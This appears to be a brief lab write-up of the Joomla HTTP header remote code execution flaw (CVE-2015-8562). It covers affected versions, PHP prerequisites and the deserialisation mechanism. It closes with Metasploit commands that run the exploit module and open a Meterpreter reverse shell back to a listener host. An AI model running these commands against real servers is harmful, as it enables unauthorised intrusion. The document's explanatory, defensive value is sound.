CVE-2015-8562 Joomla HTTP Header Unauthenticated RCE

Timeline :

Vulnerability discovered exploited in the wild
Patched by the vendor the 2015-12-14
Metasploit PoC provided the 2015-12-16

PoC provided by :

Marc-Alexandre Montpas
Christian Mehlmauer

Reference(s) :

CVE-2015-8562
20151201

Affected version(s) :

All versions of Joomla versions between 1.5.0 to 3.4.5 included.
In order to exploit this vulnerability PHP must also be vulnerable to the deserialisation vulnerability.

Tested on :

Joomla 3.4.5 on Linux ubuntu-1210 with PHP 5.4.6-1ubuntu1

Description :

Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5. By storing user supplied headers in the databases session table it’s possible to truncate the input by sending an UTF-8 character. The custom created payload is then executed once the session is read from the databse. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13. In later versions the deserialisation of invalid session data stops on the first error and the exploit will not work. The PHP Patch was included in Ubuntu versions 5.5.9+dfsg-1ubuntu4.13 and 5.3.10-1ubuntu3.20 and in Debian in version 5.4.45-0+deb7u1.

Commands :

use exploit/multi/http/joomla_http_header_rce
set RHOST 192.168.6.143
set PAYLOAD php/meterpreter/reverse_tcp 
set LHOST 192.168.6.138
exploit

sysinfo